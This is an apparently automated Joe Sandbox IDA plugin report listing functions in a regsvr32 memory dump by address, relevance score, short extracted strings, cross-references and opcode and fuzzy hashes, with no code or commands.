Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N}V$jt
API String ID: 0-2926509837
Opcode ID: b049d5321a5d0b8b2c35b06077383899f8fb99c1ca51b799598ed477ff688beb
Instruction ID: 5d852b2b0b88ea82dc6b1cd0fb1e099f39aebf29041bab94b5a0a50aabd496dc
Opcode Fuzzy Hash: b049d5321a5d0b8b2c35b06077383899f8fb99c1ca51b799598ed477ff688beb
Instruction Fuzzy Hash: 64A148B990628CDFCB98DFA8C5CA58D7BB1FF44308F00411AFC169A256D7B4D629CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B618 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

}r/, xrefs: 000000018000B7D4
|I, xrefs: 000000018000B8FC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |I$}r/
API String ID: 0-4123960085
Opcode ID: a5b20f145e2128ebb590cd3c49dff006a35873bd4209483889af058205fdcd1a
Instruction ID: 800e601dd46cbb9d9738628f52141beaff35432bc8d4d1bcfb76f59376750d80
Opcode Fuzzy Hash: a5b20f145e2128ebb590cd3c49dff006a35873bd4209483889af058205fdcd1a
Instruction Fuzzy Hash: 2981F2711047888BDBB9CF28C88A7DA7BA1FB95348F50C219D88ECE261DF75564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3B8 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

Fd7, xrefs: 000000018001B403
T;, xrefs: 000000018001B4EA

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fd7$T;
API String ID: 0-1040651304
Opcode ID: 7f0199fa78f26e8ae3d4cfff6d4ba3547f4bc3c86668e4528162529d3c3e3bb8
Instruction ID: 7ffd56a0096037782dccd6a22a1dfddd73a4019a8d8d07411bfc7024195b5d88
Opcode Fuzzy Hash: 7f0199fa78f26e8ae3d4cfff6d4ba3547f4bc3c86668e4528162529d3c3e3bb8
Instruction Fuzzy Hash: 8071E47051074D9FCB89CF24C8C9ADA7FB1FB483A8FA56218FC0696255C774D989CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008BC0 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

o1S[, xrefs: 0000000180008CA1
bep, xrefs: 0000000180008D42

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: bep$o1S[
API String ID: 0-985821681
Opcode ID: c77bf9ac064369e7680d63b20ce0fc89bb0b2606aa702be6d1acaa4fa6638a8c
Instruction ID: 91a209abfe7e4aeb1d81c4716095da0dca5975d88cd9946800e077bcf0a455c5
Opcode Fuzzy Hash: c77bf9ac064369e7680d63b20ce0fc89bb0b2606aa702be6d1acaa4fa6638a8c
Instruction Fuzzy Hash: C2513A70A0830D8FDB68DFA8C4456EEB7F2FB58358F004519E44AEB290DB349A19CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800087A4 Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

_6#, xrefs: 0000000180008830
u<, xrefs: 0000000180008953

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _6#$u<
API String ID: 0-4076860791
Opcode ID: 98c419b77e8ba2554e3faf170cbc78b74b026a1788d9e59b3cc1785a688e6d9f
Instruction ID: 493e3a016aefd0e8f5cec56f814c132ed6dac505d4b0458c18be2d4878a88dba
Opcode Fuzzy Hash: 98c419b77e8ba2554e3faf170cbc78b74b026a1788d9e59b3cc1785a688e6d9f
Instruction Fuzzy Hash: D451C0B190070A8BCB48CF68C4965DE7FB1FB68394F24422DE856A6350D3749AA5CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010590 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

Nz, xrefs: 0000000180010605
Nz, xrefs: 0000000180010790

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Nz$Nz
API String ID: 0-3618188535
Opcode ID: f1f9fac336b8da8ff6122659e216f65e6467f6a7eb6b837c99e1b7255e82ae59
Instruction ID: b98bb35d41bec71e3509b0825005519e10211f24d4dcfaaa5e415a9a600f37b2
Opcode Fuzzy Hash: f1f9fac336b8da8ff6122659e216f65e6467f6a7eb6b837c99e1b7255e82ae59
Instruction Fuzzy Hash: 7761D97060478C9FDBB9CF54D8857DE3AA1FB46344F60851AA88E8A250CFB45788CB43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023B48 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

ra", xrefs: 0000000180023CC4
10W, xrefs: 0000000180023BA8

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 10W$ra"
API String ID: 0-3432184507
Opcode ID: fd02e9085198f1ee23cd325c43483fe701dbbe4b729f3c21db55c4e968cbf284
Instruction ID: 1603a0fb70214c4199dc1879cc592ce20ce94242888b692f3a5634201c3c6fcf
Opcode Fuzzy Hash: fd02e9085198f1ee23cd325c43483fe701dbbe4b729f3c21db55c4e968cbf284
Instruction Fuzzy Hash: 215106B1D0070E8BCF48DFA5C48A5EEBFB1FB58358F218109E815A6260D7B49695CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E06C Relevance: 2.6, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

e, xrefs: 000000018000E10E
Dm"i, xrefs: 000000018000E21D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Dm"i$e
API String ID: 0-579088429
Opcode ID: 1da592fe1c5b87024080557b40311a255aea64fd983cac56dc8e0bfd413ff1a3
Instruction ID: ff289f4c4decf21b808411560f97a6ae0bbfde48fa9fd21a36285b9362365cbb
Opcode Fuzzy Hash: 1da592fe1c5b87024080557b40311a255aea64fd983cac56dc8e0bfd413ff1a3
Instruction Fuzzy Hash: 1251A1B180038ECFCF88CF68D8865CE7BB0FF58358F105A19E865A6260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016088 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

j~F, xrefs: 00000001800161A0
. 9, xrefs: 00000001800161DB

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: . 9$j~F
API String ID: 0-3982525500
Opcode ID: 8e27ed3e49b3a332b1e9bdfaf9f41fe9f17daf01a485ce033b7626c7aaf20959
Instruction ID: 73f587e096f547b5323f36eeea6c902c11c99e62676f2e49b342c8d806439c0b
Opcode Fuzzy Hash: 8e27ed3e49b3a332b1e9bdfaf9f41fe9f17daf01a485ce033b7626c7aaf20959
Instruction Fuzzy Hash: C951E3B190034A8FCF48CF68C5864EE7FB1FB58398F50461DE85AAA250D37896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CABC Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

<>, xrefs: 000000018001CBA5
u_", xrefs: 000000018001CC0E

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <>$u_"
API String ID: 0-3712044913
Opcode ID: 54a7279f070d6e0e1cb936a4c41fbfa7e6deebc7b08f576cf545ddb7c45c5dbd
Instruction ID: 00705162336351badf1f89c020232bf89398a1e9550ad3a4c6adce9a79b90856
Opcode Fuzzy Hash: 54a7279f070d6e0e1cb936a4c41fbfa7e6deebc7b08f576cf545ddb7c45c5dbd
Instruction Fuzzy Hash: FC51BFB090034E8FCB48CF69D48A5DE7FB1FB58398F104619E856AA250D37496A8CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011CCC Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

`W, xrefs: 0000000180011DA6
Wm, xrefs: 0000000180011CEE

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Wm$`W
API String ID: 0-829970788
Opcode ID: 1814abb82c64624d0c82e6b0c2fd8fef1d44b2e07111184ee76eb17802e65ade
Instruction ID: 3e5335a01fca1db20c73b4a4a46b2fe43dbf21032e81bd0b2231691c24575172
Opcode Fuzzy Hash: 1814abb82c64624d0c82e6b0c2fd8fef1d44b2e07111184ee76eb17802e65ade
Instruction Fuzzy Hash: F041C070D1461C8FCF48DFA9D886ADDBBB0FB48304F20821DE456B6260C7789948CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B1D4 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

kJz, xrefs: 000000018002B312
7M, xrefs: 000000018002B269

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 7M$kJz
API String ID: 0-1286445197
Opcode ID: 98bdb79501751698457a0c63b58abd008b0bb4ffe469ed6aba7912a1c6e09250
Instruction ID: 73e64fa095a73a4e7c26ce88557ae34d60ddb43780546a58e46c5e1049f230da
Opcode Fuzzy Hash: 98bdb79501751698457a0c63b58abd008b0bb4ffe469ed6aba7912a1c6e09250
Instruction Fuzzy Hash: E441D5B180034E9FCB48CF68D48A5DEBFB0FB58398F118619F815AA260D7B49694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029C6C Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

NKi, xrefs: 0000000180029CFC
gJk, xrefs: 0000000180029D41

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NKi$gJk
API String ID: 0-746334108
Opcode ID: 58a5bce911c0f09ef1344d541f8e13db5683852ad3f58203c0096be295061b76
Instruction ID: 370847f9a3576a2127be3913012de96f7d2fcf003f6ba5f8aec55f91b5c1372d
Opcode Fuzzy Hash: 58a5bce911c0f09ef1344d541f8e13db5683852ad3f58203c0096be295061b76
Instruction Fuzzy Hash: AD41C3B091034A8FCB48CF68C48A5DE7FF0FB28398F104619E815A6250D37496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FC8C Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

97", xrefs: 000000018000FCC1
lND, xrefs: 000000018000FCF0

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 97"$lND
API String ID: 0-255837067
Opcode ID: 9f2144797edb960c4800540d43b86211ccc900e5f41a7482899803b998be048c
Instruction ID: fdd228a39bc21f447827aa5875072745b1c1c90cd936de3499e4094daaa9051d
Opcode Fuzzy Hash: 9f2144797edb960c4800540d43b86211ccc900e5f41a7482899803b998be048c
Instruction Fuzzy Hash: 2F41D4B080038E8FCB48CFA8D8865DE7BF0FB48358F504609E86AA6250D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025374 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

<\, xrefs: 0000000180025420
P, xrefs: 0000000180025435

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <\$P
API String ID: 0-3329260309
Opcode ID: 58da91c3c3294d218300734e2334eac2d42de78c76df722d29d8bba67d1a0edb
Instruction ID: 7a6472800a972813acd2230f771f615073e8df7510407cf225569f4894f6b0d7
Opcode Fuzzy Hash: 58da91c3c3294d218300734e2334eac2d42de78c76df722d29d8bba67d1a0edb
Instruction Fuzzy Hash: AC41A2B181034DCFDB44CF68C88A5DE7FF0FB58358F104619E869A6250D7B89698CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800083F8 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

j,, xrefs: 000000018000847C
&Z];, xrefs: 000000018000850F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &Z];$j,
API String ID: 0-1323350831
Opcode ID: 0816880f4d87a32c826b6eaf935fab6bcbeafe9302e1cf1b19fce18330a9178f
Instruction ID: 4d52acf51d445db6beda3a26974f1176594abf5478927dcbf805cd9d8e8fa18c
Opcode Fuzzy Hash: 0816880f4d87a32c826b6eaf935fab6bcbeafe9302e1cf1b19fce18330a9178f
Instruction Fuzzy Hash: 9F31DEB190074E8BCF48DF24C88A1DE3BA1FB28798F50461DFC5696250D7B4D6A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026C80 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

Y6C, xrefs: 0000000180026D27
'd=, xrefs: 0000000180026CB8

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'd=$Y6C
API String ID: 0-2002142494
Opcode ID: fd35d43619dc3a263a01b5f940063c5335a5c98091513a5ed1770b6a4388dd96
Instruction ID: ccf6aaa63b1aa8c6b30d000549e8006a3e599278b8e3fc9790a4e3cb01e02506
Opcode Fuzzy Hash: fd35d43619dc3a263a01b5f940063c5335a5c98091513a5ed1770b6a4388dd96
Instruction Fuzzy Hash: 744191B190034E9FCB44CFA8D48A5DEBFF0FB58398F205619E81AA6250D3B49694CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010250 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

Cm)X, xrefs: 00000001800102FF
27A, xrefs: 000000018001033E

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 27A$Cm)X
API String ID: 0-3608389941
Opcode ID: e0490a94f28e6ce23732593848f5f9e9112bddaf8c3b402d699b48d1b456956c
Instruction ID: 684b918ddde8746cffb287e87a4350d0062747792986074a3c358ea6f2ed809a
Opcode Fuzzy Hash: e0490a94f28e6ce23732593848f5f9e9112bddaf8c3b402d699b48d1b456956c
Instruction Fuzzy Hash: 15316FB46187848B8348DF28D59551ABBE5FBCC308F404B2DF4CAAB360D778D644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E8F0 Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

Wu, xrefs: 000000018000E9D3
?oCf, xrefs: 000000018000E9C7

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?oCf$Wu
API String ID: 0-2445847193
Opcode ID: b07007c7df8fdcff1a3a12132ff18166943f80f753e521aa0974c7cb649c130d
Instruction ID: 6e752a1dbd70b7d88cda0fb1d20915d08c65693f2945daa64a17bfbf07288bfe
Opcode Fuzzy Hash: b07007c7df8fdcff1a3a12132ff18166943f80f753e521aa0974c7cb649c130d
Instruction Fuzzy Hash: 5E21AEB55187848B83489F28C44A41ABBE0FB8C70DF504B2DF8DAA6260D778D646CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001586C Relevance: 2.6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

Strings

KO, xrefs: 0000000180015880
0F6 , xrefs: 00000001800158BC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0F6 $KO
API String ID: 0-276686719
Opcode ID: 6205ceb11bb6b662748add8c297f1b443fa17d6724776aa75fc58f5dae511f0b
Instruction ID: 15a0bfab9284e0424f8d805b4637dfad6d31782236c6d70db9798c35a47a8228
Opcode Fuzzy Hash: 6205ceb11bb6b662748add8c297f1b443fa17d6724776aa75fc58f5dae511f0b
Instruction Fuzzy Hash: AB21AD755283808FC368DF68C58614BBBF0FB86748F504A1DFAC686261D7B6D805CB47

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800226E0 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

tSA, xrefs: 0000000180022777
p, xrefs: 0000000180022723

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: p$tSA
API String ID: 0-3551818358
Opcode ID: 99011765d78b2b4d15352d42fcf875ddc55d3d35c100f7abdde6317782da955f
Instruction ID: dafa682f426fd7c4027cc0dc28289443c8a7082daafb3c1476061bf3b97c4e55
Opcode Fuzzy Hash: 99011765d78b2b4d15352d42fcf875ddc55d3d35c100f7abdde6317782da955f
Instruction Fuzzy Hash: 4A2169B45183858BD788DF28C54A50BBBE0BBCD74CF400B2DF4CAA6260D378D644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BA8 Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

P?, xrefs: 0000000180017C2D
8r.F, xrefs: 0000000180017C4D

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8r.F$P?
API String ID: 0-1060054278
Opcode ID: 69901aac6ce1aef3d4959f7919bc5ecc16501e8ce7d01dbb2ce958a2c67dc727
Instruction ID: b2da1e8a0f89ffdbcd525e428a91df6a678b185604bab408c7dee67f2374b2b0
Opcode Fuzzy Hash: 69901aac6ce1aef3d4959f7919bc5ecc16501e8ce7d01dbb2ce958a2c67dc727
Instruction Fuzzy Hash: DC2179B45187849BC749DF68D44A41ABBE0BB9C71CF800B5DF4CAAA310D3B8D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002490C Relevance: 1.8, Strings: 1, Instructions: 516COMMON

Download Yara Rule

Strings

<>, xrefs: 0000000180024BF5

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <>
API String ID: 0-1927776135
Opcode ID: 37c3f39876e999beb0937df684067ca5812f0cda9578e561258942df6de8421c
Instruction ID: 9b9c084f2c1b1f08cb5858c99f1f27cbdd47ca95557f3058ff07422eb4e47033
Opcode Fuzzy Hash: 37c3f39876e999beb0937df684067ca5812f0cda9578e561258942df6de8421c
Instruction Fuzzy Hash: F742047190438C9BDBB9CFA8D8CA6DD7BB0FB58314F20421DD80A9B261DB745A85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023DDC Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

j=, xrefs: 000000018002420E

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j=
API String ID: 0-592141216
Opcode ID: 1169f1869d3fb428bfdad968f94ee3f32c89471e58a558a0d80dd63f76afa428
Instruction ID: 9003355423bafd58b5275d98cfc2247977288ca0e37ad1cbcdd73f3390e5cf1b
Opcode Fuzzy Hash: 1169f1869d3fb428bfdad968f94ee3f32c89471e58a558a0d80dd63f76afa428
Instruction Fuzzy Hash: 6BD1397150074D8BDF89DF28C89A6DE3BA0FB58398F55522CFC4AA6250C778D998CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ABE8 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

!O, xrefs: 000000018001AFBF

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !O
API String ID: 0-2378650393
Opcode ID: 302dfdcfbb7bb296299c3bc274bc73d8feb87790668f515a7c841834ed93dc2b
Instruction ID: 4170ec84c9d3f49002394f5178db7bb3edfe66952fd3c2890134f0e6da5031b0
Opcode Fuzzy Hash: 302dfdcfbb7bb296299c3bc274bc73d8feb87790668f515a7c841834ed93dc2b
Instruction Fuzzy Hash: F2E10A711087C88BDBFADF64C88ABDE3BACFB44748F105519EA0A9E258CB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001100C Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

^Lu, xrefs: 0000000180011210

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^Lu
API String ID: 0-3854589714
Opcode ID: fb3768cccb7a26f6a89fbcd18e8308750f02c0f1f73e9d8b382492f454794486
Instruction ID: 7c859a126a25bd0c02bef77f14247f717a5a9adcaacfb9e6f8c6730b8303fd88
Opcode Fuzzy Hash: fb3768cccb7a26f6a89fbcd18e8308750f02c0f1f73e9d8b382492f454794486
Instruction Fuzzy Hash: E4A128709047498FCB9DCF68C88A6EEBBF1FF48384F204119EA46A7250D7759A85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007634 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

Z", xrefs: 000000018000792A

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Z"
API String ID: 0-1896177830
Opcode ID: 85f6676341921d6f483625aa17b45c04f6466e2be55beb334fa49e51010a1540
Instruction ID: 91163448777d7afc4cc80e296cb9cfbd8772b1902329242c75d45222aab24025
Opcode Fuzzy Hash: 85f6676341921d6f483625aa17b45c04f6466e2be55beb334fa49e51010a1540
Instruction Fuzzy Hash: C0A165B590060DCFCBA8CF78D15A68E7BF1BB04308F606129EC269A262E774D619CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028394 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

e8f2, xrefs: 000000018002840B

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: e8f2
API String ID: 0-4239716772
Opcode ID: 3907476c53bac25a555e3ffc467f8b6ad850bf32927a98fe31c8bf9de770097f
Instruction ID: aaec5001b0b3f576b33a9a86a913a78c3f9fdfa8ed470970e8cb6047951b043a
Opcode Fuzzy Hash: 3907476c53bac25a555e3ffc467f8b6ad850bf32927a98fe31c8bf9de770097f
Instruction Fuzzy Hash: C491C37010078E8BDF49DF24D89A5DA3BA1FB58348F114618FC5A97294C7B8EA65CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004264 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

Qhm, xrefs: 00000001800043DC

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Qhm
API String ID: 0-202924511
Opcode ID: a2bb8b1411107b7575902c6661116fd2ce5bfac275bcbff6451e16fcd58631a3
Instruction ID: dff427aa29f5729145b0ab8b996757c093157db28b416262619acb8c77b37c14
Opcode Fuzzy Hash: a2bb8b1411107b7575902c6661116fd2ce5bfac275bcbff6451e16fcd58631a3
Instruction Fuzzy Hash: 1D511479517209CBCB69CF38D4D56E93BE0EF68344F20012DFC668B2A2DB70D5268B48

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000796C Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

WZ', xrefs: 0000000180007AF5

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: WZ'
API String ID: 0-1944904082
Opcode ID: 8b55f411d49b287bdfafef9dc47725f2bb274e5ab4be629ead2bc2b735d307b3
Instruction ID: 5b5aaaf1f09ca5557c90149fa64bb16396cbc43774f49a57b3b09e68a9cf408c
Opcode Fuzzy Hash: 8b55f411d49b287bdfafef9dc47725f2bb274e5ab4be629ead2bc2b735d307b3
Instruction Fuzzy Hash: F171087155878CDBDBBADF28C8897D937B1FB98304F908219D80E8E254DB785B4ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001303C Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

-], xrefs: 000000018001305F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -]
API String ID: 0-3195032325
Opcode ID: 2f387ab0a9f756c6099ceefcc45306d74e879ef7c324eb87884d154b92a960fc
Instruction ID: 01c3c27378e714c100c9a801295078fc99e5b088b1ed4129002e73aaaa485763
Opcode Fuzzy Hash: 2f387ab0a9f756c6099ceefcc45306d74e879ef7c324eb87884d154b92a960fc
Instruction Fuzzy Hash: 0151297010064D8BCB49DF28D4855D93FE1FB0C3ACF1A6318FD4AAA251D774D989CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018DBC Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

}4}, xrefs: 0000000180018EB0

Memory Dump Source

